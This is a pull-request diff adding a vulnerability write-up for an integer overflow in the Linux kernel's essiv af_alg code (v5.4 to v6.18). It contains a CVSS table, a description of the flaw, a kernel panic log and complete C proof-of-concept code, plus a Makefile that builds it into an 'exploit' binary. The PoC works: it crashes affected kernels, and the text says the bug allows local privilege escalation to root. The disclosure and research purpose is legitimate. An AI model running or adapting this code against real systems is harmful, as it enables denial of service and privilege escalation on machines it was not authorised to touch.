Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
# Soon
Original file line number Diff line number Diff line change
@@ -0,0 +1,243 @@
Requirements:
- Capabilities: None
- Kernel configuration: CONFIG_CRYPTO_USER_API=y, CONFIG_CRYPTO_ESSIV=y
- User namespaces required: no
- Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=be1eb7f78aa8
- Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6bb73db6948c2de23e407fe1b7ef94bf02b7529f
- Affected kernel versions: v5.4 - v6.18
- Affected component: crypto
- Cause: Integer overflow/wraparound
- Syscall to disable: -
- Description: An Integer overflow in essiv af_alg


## Summary
| **Product** | Linux Kernel |
| ----------------------- | ------------------------ |
| **Vendor** | Linux |
| **Severity** | High - Adversaries may exploit software vulnerabilities to elevate its privileges to root. |
| **Affected Versions** | [Linux v5.4-rc1](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=be1eb7f78aa8fbe34779c56c266ccd0364604e71) - upstream |
| **CVE Identifier** | |
| **CVE Description** | A integer overflow dues to missing check on assoclen vulnerability in the Linux Kernel af_alg can be exploited to achieve local privilege escalation |
| **CWE Classification(s)** | CWE-190: Integer Overflow or Wraparound |

## CVSS3.1 Scoring System
**Base Score:** 7.8 (High)
**Vector String:** `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`
| **Metric** | **Value** |
| ---------------------------- | --------- |
| **Attack Vector (AV)** | Local |
| **Attack Complexity (AC)** | Low |
| **Privileges Required (PR)** | Low |
| **User Interaction (UI)** | None |
| **Scope (S)** | Unchanged |
| **Confidentiality \(C)** | High |
| **Integrity (I)** | High |
| **Availability (A)** | High |


## Description of the vulnerability

In `essiv_aead_crypt`, it doesn't check the case where `req->assoclen` less than `crypto_aead_ivsize`, thus it make the calculation integer flow when it want to call `scatterwalk_map_and_copy` when copy the encrypted IV to `req->dst`.

```C
static int essiv_aead_crypt(struct aead_request *req, bool enc)
{
...

rctx->assoc = NULL;
if (req->src == req->dst || !enc) {
scatterwalk_map_and_copy(req->iv, req->dst,
req->assoclen - crypto_aead_ivsize(tfm) /* integer overflow */,
crypto_aead_ivsize(tfm), 1);
```


## Proof-Of-Concept Crash log
* Run poc under Linux 6.12.48
```
[ 2.410116] BUG: kernel NULL pointer dereference, address: 000000000000000c
[ 2.412101] #PF: supervisor read access in kernel mode
[ 2.413750] #PF: error_code(0x0000) - not-present page
[ 2.415747] PGD 102dd5067 P4D 102dd5067 PUD 102dd6067 PMD 0
[ 2.419111] Oops: Oops: 0000 [#1] SMP NOPTI
[ 2.421499] CPU: 0 UID: 1000 PID: 152 Comm: exploit Not tainted 6.12.48 #1
[ 2.424898] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 2.430109] RIP: 0010:scatterwalk_ffwd+0x30/0xc0
[ 2.431948] Code: 44 00 00 41 54 55 53 48 89 f3 85 d2 0f 84 84 00 00 00 49 89 fc 89 d5 eb 11 48 89 df 29 c5 e8 87 ae 0a 00 48 89 c3 85 ed 74 6c <8b> 43 0c 39 c5 73 e8 be 02b
[ 2.438392] RSP: 0018:ffffc900006d3c68 EFLAGS: 00010286
[ 2.439451] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000
[ 2.441484] RDX: ffff88810208bac0 RSI: ffff8881020e0820 RDI: ffff88810208bac0
[ 2.444145] RBP: 00000000fffffef0 R08: 0000000000000001 R09: ffffc900006d3c98
[ 2.446248] R10: ffff88810033e090 R11: 00000000000000e0 R12: ffffc900006d3c98
[ 2.449155] R13: ffff888102ea6800 R14: ffff8881020e0a90 R15: ffff888101aeb188
[ 2.451461] FS: 000000000c54f380(0000) GS:ffff88811c400000(0000) knlGS:0000000000000000
[ 2.453968] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 2.455878] CR2: 000000000000000c CR3: 0000000102e88000 CR4: 0000000000752ef0
[ 2.458399] PKRU: 55555554
[ 2.459454] Call Trace:
[ 2.460568] <TASK>
[ 2.461530] scatterwalk_map_and_copy+0x56/0xa0
[ 2.463175] essiv_aead_crypt+0x1aa/0x310
[ 2.464637] aead_recvmsg+0x59b/0x670
[ 2.465870] sock_recvmsg+0xb0/0xc0
[ 2.467112] __sys_recvfrom+0xb5/0x120
[ 2.468411] __x64_sys_recvfrom+0x24/0x30
[ 2.469756] do_syscall_64+0x58/0x120
[ 2.470743] entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 2.472874] RIP: 0033:0x41c9dd
[ 2.474108] Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 80 3d 8d 76 09 00 00 41 89 ca 74 20 45 31 c9 45 31 c0 b8 2d 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 6b c39
[ 2.479311] RSP: 002b:00007fffddaa0f18 EFLAGS: 00000246 ORIG_RAX: 000000000000002d
[ 2.482036] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 000000000041c9dd
[ 2.484265] RDX: 0000000000010000 RSI: 00000000004b4b20 RDI: 0000000000000006
[ 2.486018] RBP: 00007fffddaa1100 R08: 0000000000000000 R09: 0000000000000000
[ 2.488113] R10: 0000000000000000 R11: 0000000000000246 R12: 00007fffddaa1218
[ 2.490411] R13: 00007fffddaa1228 R14: 00000000004ae868 R15: 0000000000000001
[ 2.492937] </TASK>
[ 2.493725] Modules linked in:
[ 2.494879] CR2: 000000000000000c
[ 2.496051] ---[ end trace 0000000000000000 ]---
[ 2.497627] RIP: 0010:scatterwalk_ffwd+0x30/0xc0
[ 2.499257] Code: 44 00 00 41 54 55 53 48 89 f3 85 d2 0f 84 84 00 00 00 49 89 fc 89 d5 eb 11 48 89 df 29 c5 e8 87 ae 0a 00 48 89 c3 85 ed 74 6c <8b> 43 0c 39 c5 73 e8 be 02b
[ 2.505627] RSP: 0018:ffffc900006d3c68 EFLAGS: 00010286
[ 2.507320] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000
[ 2.509913] RDX: ffff88810208bac0 RSI: ffff8881020e0820 RDI: ffff88810208bac0
[ 2.512515] RBP: 00000000fffffef0 R08: 0000000000000001 R09: ffffc900006d3c98
[ 2.514907] R10: ffff88810033e090 R11: 00000000000000e0 R12: ffffc900006d3c98
[ 2.517272] R13: ffff888102ea6800 R14: ffff8881020e0a90 R15: ffff888101aeb188
[ 2.519511] FS: 000000000c54f380(0000) GS:ffff88811c400000(0000) knlGS:0000000000000000
[ 2.522143] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 2.524287] CR2: 000000000000000c CR3: 0000000102e88000 CR4: 0000000000752ef0
[ 2.526689] PKRU: 55555554
[ 2.527621] Kernel panic - not syncing: Fatal exception
[ 2.530360] Kernel Offset: disabled
[ 2.531562] ---[ end Kernel panic - not syncing: Fatal exception ]---
```


## Proof-of-concept Code
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <errno.h>
#include <err.h>
#include <sched.h>

#define PAUSE \
{ \
int x; \
printf(":"); \
read(0, &x, 1); \
}

#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) \
err(1, "SYSCHK(" #x ")"); \
__res; \
})

char buf[0x1000000];

int main() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
int tfmfd, opfd;
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "essiv(authenc(hmac(sha256),cbc(aes)),sha256)"
};

tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (tfmfd < 0) { perror("socket"); return 1; }

if (bind(tfmfd, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
perror("bind"); return 1;
}

// Build key blob: rta header + AES-128 + HMAC key
unsigned char key[8 + 32 + 16] = {0};
key[0] = 0x08; key[1] = 0x00; key[2] = 0x01; key[3] = 0x00; // rta
key[4] = 0x00; key[5] = 0x00; key[6] = 0x00; key[7] = 0x10; // AES-128
for (int i = 0; i < 32; i++) key[8+i] = i; // HMAC key
for (int i = 0; i < 16; i++) key[8+32+i] = i+0x10; // AES key

if (setsockopt(tfmfd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)) != 0) {
perror("setsockopt(ALG_SET_KEY)"); return 1;
}

opfd = accept(tfmfd, NULL, 0);
if (opfd < 0) { perror("accept"); return 1; }

// IV (16 bytes)
unsigned char iv[16] = {
0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,
0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f,0x10
};


// Plaintext
int plen = 0x1000;

// Setup control message for ALG_SET_OP + ALG_SET_IV
char cbuf[CMSG_SPACE(sizeof(__u32)) + CMSG_SPACE(sizeof(struct af_alg_iv) + sizeof(iv)) + CMSG_SPACE(sizeof(__u32))];
struct msghdr msg = {0};
struct iovec iov = { buf, 0x100 };
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = cbuf;
msg.msg_controllen = sizeof(cbuf);

struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
// ALG_SET_OP
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_OP;
cmsg->cmsg_len = CMSG_LEN(sizeof(__u32));
*(__u32*)CMSG_DATA(cmsg) = ALG_OP_DECRYPT;

cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
cmsg->cmsg_len = CMSG_LEN(sizeof(__u32));
*(__u32*)CMSG_DATA(cmsg) = 0x0;

// ALG_SET_IV
cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = ALG_SET_IV;
cmsg->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + sizeof(iv));
struct af_alg_iv *ivmsg = (struct af_alg_iv*)CMSG_DATA(cmsg);
ivmsg->ivlen = sizeof(iv);
memcpy(ivmsg->iv, iv, sizeof(iv));



// Send plaintext + control to kernel
int ret = sendmsg(opfd, &msg, 0);
if (ret < 0) { perror("sendmsg"); return 1; }

int val = 0;
SYSCHK(setsockopt(opfd, SOL_SOCKET, SO_RCVBUF, &val, sizeof(val)));
// Receive ciphertext (ciphertext + auth tag)
unsigned char ciphertext[64] = {0};


ret = recv(opfd, buf, 16*0x1000, 0);
if (ret < 0) { perror("recvmsg"); return 1; }


close(opfd);
close(tfmfd);
return 0;
}
```

## Discovery Credits
- Muhammad Alifa Ramdhan of STAR Labs SG Pte. Ltd.
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
all: exploit
exploit: exploit.c
gcc -static -o exploit exploit.c -DCOS -lcrypto -Wno-depecrated -Wno-deprecated-declarations
Binary file not shown.
Loading
Loading